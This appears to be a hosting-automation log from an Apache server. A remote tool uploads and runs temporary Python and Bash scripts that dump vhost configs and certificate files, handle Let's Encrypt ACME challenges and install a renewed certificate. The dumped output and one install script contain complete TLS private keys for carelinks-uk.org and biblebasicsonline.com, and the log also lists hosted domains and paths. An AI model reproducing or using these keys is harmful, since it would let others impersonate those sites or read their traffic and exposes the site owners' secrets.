alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:00:20:
PUT: /tmp/pkp512495
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:00:20:
chmod 755 /tmp/pkp512495; /tmp/pkp512495; rm /tmp/pkp512495
2026-01-14 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 1415
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-14 06:00:20:
PUT: /tmp/pkp736756
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:00:20:
chmod 755 /tmp/pkp736756; /tmp/pkp736756; rm /tmp/pkp736756
2026-01-14 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt 5390
fb:1d:fa:ab:0f:b9:6a:d1:76:34:6c:78:63:ab:a3:21
-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkiwc8C5N0CrcBnGQmmlIwIPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMTQ3WhcNMjYwNDE0MDUwMTQ2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwun35OO2CA7R7KopW/C6XJdDMlFLaXFosGbn2+C894BDVb/iQcokLCKnK6kR
u0vXkqBfk3j8E9tQo/a//yoCegiPjQN9dvvCaWZrjCsZTndIiJ37dwG8TQqxqvJi
8XZ0NAbewZr9YSEZ39HzcoOeSjD3QSaYq7g5iZdMLjLvafRRzcV2iCk92L05+7s6
OlwDLnAKghDbHbzjtzcInIF4VfmMqdCeNKDnlLyycnDR5J69gKjN4LXMAP8Cpjta
2KTs5zir9boXXq96Dez9x2VKcQFYjEp3veaSrYEujMpEm/BRNTGxwxDOnNRy0vEf
M+nzgP+40gfTWTdPz7amdaEsTwIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQ/tmQiDpe37Y4mr7LXSmhuJC9YdjAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTYuY3JsMIIBCwYK
KwYBBAHWeQIEAgSB/ASB+QD3AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekx
syPLlQQAAAGbuxcyoQAABAMARzBFAiEAgDjz3Qyf0xVybxdmSUr1mZ+/UwywVdnV
Ia8gj8BG62oCIAVST+l3/Y9LoqhElj93xzRBtw957IOUTNmZ6yJqKTjeAH0A4yON
8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGbuxczWwAIAAAFAC9XdgkE
AwBGMEQCICpmL3+CNT7o6ess795YleRP4IDVFpQ8YiOvHVILdx9XAiAk5a8nS6P5
1GZ08vEt4X4iSIOXqVxIbaJ+9NclLeebbzANBgkqhkiG9w0BAQsFAAOCAQEAJbvR
enPWqKMczNy2SCHH9g8+3CbDBJnBEqe912pDULU7ekCpWXc9wNg3xSPEVtj5m/S+
72FmNxTtxPd7s44O8s85Lz0RvVkax5YrDYczsLRzEXTQSddwCQJ4lMUUUv2GzY6C
ZnnRva8SRr4w4cYwIPeXTG6KEyTv7YFkV6Ls9GELoWRJH4iT+CB4OSDp4Gvq9gs2
DtvJFuMqcWxalGxz4Rst4BvZrYz1XojOmCiGkVg/lHrZJ+kO02KoUZbwFqgr5LLZ
o42YnhonPtgIDYAJHrHusWlx0HUBixBPeQoaCFsoUy1URvwILy7d9rncQunYDCZb
83cYE+/WIqKSFaoDhQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDC6ffk47YIDtHs
qilb8Lpcl0MyUUtpcWiwZufb4Lz3gENVv+JByiQsIqcrqRG7S9eSoF+TePwT21Cj
9r//KgJ6CI+NA312+8JpZmuMKxlOd0iInft3AbxNCrGq8mLxdnQ0Bt7Bmv1hIRnf
0fNyg55KMPdBJpiruDmJl0wuMu9p9FHNxXaIKT3YvTn7uzo6XAMucAqCENsdvOO3
NwicgXhV+Yyp0J40oOeUvLJycNHknr2AqM3gtcwA/wKmO1rYpOznOKv1uhder3oN
7P3HZUpxAViMSne95pKtgS6MykSb8FE1MbHDEM6c1HLS8R8z6fOA/7jSB9NZN0/P
tqZ1oSxPAgMBAAECggEAEaxyaGRHcLKbUVjamDYbR+MFWk4pxt1cL0addoAJ0m1k
baWRCAMixYe83cYeT/vgB7EYCYC6ZriHtt5caXAvOk6FabVrznqklbcOQG72A/nn
709X6mITZ271TjldRGTHw6Ht1+NMX17HgFaCuxr5IuQOv28W/9ccDIBWDYhb0iEH
MKPOmDtyeTY/uAlwYj96LItewRvMX7XoxmKdzyVchTal1WnQWG5jl8/UIHlHY3D1
iLTyFD5S1AFAP+w6FN46JnDC+tHex5FDzPHILjgg6BybXabmQEg1m2UMVhNmHic3
RHuOJFDM4l7tos1QmW2LxQCONCO8rKbEnW84XABOzQKBgQDouWJk97ZT6oKPr4KJ
jVGFyVuIa+pjJCDY+ajae9frqCqTTgmfGAuvIrMEgxZg4gBB1bzYi+hDbq307hqj
Ct0xHq4PG3zs31NGq4aRoNGOwqu79bclRub43cmzytr/C8LBG12JQQNWl5lA7+OM
OV48Jd8Rx4igZBLFffGDf1nGCwKBgQDWaH/3AQkO/l/YiAJOQLO1olvbQxR2UOtl
IU+IwW19UV/Ip4w/GIB0gt0dxySDB47pMK85tjs7fPehj4bAamdtscydLA2qo+PB
jy18zQXjbtsuQBp8/39hIsRvvtKjFimU2kXGa+mIKvoZ98bBc3a02vO2MlORSPTW
/gJRf/mxTQKBgQDDYah+1gzn5NFaKmJwcwmHRaaoINm2BEXjg67ERwbe3N9prjGb
tMdScNJUrm1iRzsqCnSyZLtJqak4IZKRYXSUYYqGOnCmOVQj16txpc9piHw/oCnz
jNQrCaDmZh930nrePshHjCJuV3Yds4iZWCyKWM0vkxJcfcfYsETMPmWzQwKBgH+q
g5+hFzK9VnbJLY5Iynj5rvZU7+cvcaqq9f+5JSe8f2ssEL81KK+3iFAF1wDKTFcf
rQaRMp3OYGjr3FHQSbuwZeSkaZLUuXX0eiJYtgvhY1MbymnpfIBrQkpDdoqzVJkU
iv2GHez9oiQ6PDfON72irgEr4ESfC2LEpr6+k//1AoGBAJR3BhcU8hmZAZ/lzImV
MVGBYNOf7rNOc5toFYBp1f7mbg3akdJhz4nomI+MmxoUWipd73To6ICX0Rw9VjsS
SrGd5pZiykzjrmhmT+SJzroCF7WswA3tfckSWOSssEKJ4+S6noeQ1pa0+QOugLsE
/wmU42YMUi4hDr9CH8a3LDDi
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-14 06:00:20: Establishing a connection
2026-01-14 06:00:20: Establishing a connection
2026-01-14 06:00:21:
PUT: /tmp/pkp399372
#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-14 06:00:21:
chmod 755 /tmp/pkp399372; /tmp/pkp399372; rm /tmp/pkp399372
2026-01-14 06:00:21:
1
2026-01-14 06:00:21: Establishing a connection
2026-01-14 06:00:21:
PUT: /tmp/pkp579178
#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU
cat > iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g
2026-01-14 06:00:21:
chmod 755 /tmp/pkp579178; /tmp/pkp579178; rm /tmp/pkp579178
2026-01-14 06:00:21:
2026-01-14 06:00:31: Establishing a connection
2026-01-14 06:00:31:
PUT: /tmp/pkp551544
#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU
rm iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g
2026-01-14 06:00:31:
chmod 755 /tmp/pkp551544; /tmp/pkp551544; rm /tmp/pkp551544
2026-01-14 06:00:31:
2026-01-14 06:00:31: Establishing a connection
2026-01-14 06:00:31:
PUT: /tmp/pkp242863
#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt
cat > $temp_file <<'endmsg'
b0:68:b0:99:5c:c0:93:1a:a3:da:c3:ff:2d:3a:5b:94
-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISBicsNdbC1LCxh3ZuqX0En//AMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMTU5WhcNMjYwNDE0MDUwMTU4WjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCm+LEZ7NkH2SShot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ
4gvRve+UXYPgJiZY0Cr0nsvV2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBh
idCKY2vmmY8fnll5yn428FRvX2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJF
q4r9mO/fGeXbfs+wen69S9pDu8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxq
AZw7u8lrJK20YF+7l6e+W/b0G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4Y
CNuCswdE1J+snxtFB+iafqQpMqLajTIzAgMBAAGjggJIMIICRDAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLxZvQbvRxnEi6MC6/5q4s/VvWANMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvNjUuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAFoMtq/CpJQ8P8Dql
Rf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbuxdgFgAABAMARjBEAiA5+57uxptxFMX1
d8EYEW7xTTh0A4bB2DZ0gq/24jR/pAIgautQsJlIi5woKRnRn8FrY/zhiSTJ9Hsp
VBmbS0znhh0AfwDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZu7
F2I7AAgAAAUAL1d2/wQDAEgwRgIhAOR1VjlNwXpTbgt/1HH0Ek3uzzoNuO2IFaB1
tkuCSRBcAiEAndAzm+MqTqG5iq6/nluVc5fWNW8dCImrmhft2qhXpOwwDQYJKoZI
hvcNAQELBQADggEBABPsSy0Q/fPwBpqvMb9xJRc+15LGm6KOjipX8K++U7ArkdzL
QiZcP9V77yIp/+lbKCDehpID9quVDu+7boEieLgGgQeIN3MUFPLFA+XTkwKYnW5W
qCk4h/pxCO8XPsTiHJCIWpdNhVy/8y1tnubSgAS1zT9cP5Pg29pkIuAE7vdU5IUq
B5tJk0HXagcbMbT5+D/o2G8ZM8Zi6U2ekdfMski2pomBzwz8F/TDWu+4wsgZd+FE
J60cjm3T43zh6ZCG0SIZIKDDPAoa25zwHu8J6aLMRz8cKQ4Q2Up7jzPA/dFsOmx4
rOclO0o9JMaGLt36I0bJQePGFffjNlnuw9zOPSc=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCm+LEZ7NkH2SSh
ot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ4gvRve+UXYPgJiZY0Cr0nsvV
2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBhidCKY2vmmY8fnll5yn428FRv
X2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJFq4r9mO/fGeXbfs+wen69S9pD
u8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxqAZw7u8lrJK20YF+7l6e+W/b0
G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4YCNuCswdE1J+snxtFB+iafqQp
MqLajTIzAgMBAAECggEAAIn92YRKXoDUz98O33LWnebzR4GYgCu6IMk5mPiaJwFF
hwmN/92oKXbWEO6PnLm3/SCLi262UoCzl3kAiRwv9iKyfYOWKJ7G3QGc6GTVQuUB
9SX3thQcN5/SamI9yIE5jA9MYThq2C2z3u+aCKb+FmQk7NPvWkivx4uB+S8jsSKp
NPqyWRiSKvRuoBnHXcS/1YeDpZP6sMQ8v6p0mq1e/LHQ4Gn4Smxvon8JPTxjxpf1
auSp0+zYPfD+/VrtdNoudteC5sHjOIy4v1sMDYm39o3V6QlO8THsL7PDEy0AafCc
3r9gsH2neckTAbW8YhuJwd5rxBnmeMgXXt6zQFsf0QKBgQDS5PI1Vsoptqk8WZFH
0aUqyWlN5sJZNAoZJsjsCIlXyZygyzu6galjcaAHS8kKwaOQzfKfVuCPHxSxaCSp
/P0UCn8w//Vd7CvIxWLAVbtE9NP3BhxxklEeL8Oe+caqQOo6Ek+5S2+xUPOfobE5
UwP9jbywkqS0biuSJJxkKlG6SwKBgQDKrtiFkqQCKgbKc9Uiz0K8zsRlrHDHHlij
q//XqjC1K6Er5vTdst9n/EEBMzpSqNIkvxf/6xIXS9jzC1mkGsHsbvcZqkIIpMvo
8kxaznkTqvvw+C4fThexPSncGFpSQblY3t/8DvOnutYMFgopZu8L705gChVqqXuB
5x2eCX12uQKBgGs9vOTew2K+3gQwT65Dr0e4r/HLPFz8F35+uIE+PgkEHr+tWSwY
LzjAWO4c3Zi4qyJBd/UKypo85dro6GwAl/kO9WrHXdBq/kDUDslbTyVbkkX1N5WR
H+rHwyQeQ6Xj6LerBBtnft6eGaS9Jk/OJSNUZfUsPND7jPB96YEN/A1NAoGBAJIY
xmpB8Ya91HdKV2/oBisiv96qFgDxluMjsB88xi9Ra7PBnu/PZ8oEwraivn+mwRNL
y3jlcPzp51AJ9mub/fz3X5ZYa5DfeTxIq1EpU40hysk/m79lAx72/51u0GxKg9fT
j5CZFnjo7DF6EYkWcWkg7lW77wQbdrOEbIzmOlHBAoGAG5Gwl+dJX1zb5qm/AEMf
N75EimNGath8OJ8qgjta53e5XiD+o4kuBgVnber40aZLv5DAv/Qqr/FzZ67C+Qiu
ao0MwYiUkOtDo8S2P+odbxYeyRfd4o3/C9vX55cI8pjf0iYO4rAL+o0GtgiBAz+/
YF1vwwZwacOfSxJtaS5T0gA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-14 06:00:31:
chmod 755 /tmp/pkp242863; /tmp/pkp242863; rm /tmp/pkp242863
2026-01-14 06:00:31:
dir=/etc/ssl/certs
2026-01-14 06:00:31:
PUT: /tmp/pkp926233
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-14 06:00:31:
chmod 755 /tmp/pkp926233; /tmp/pkp926233; rm /tmp/pkp926233
2026-01-14 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
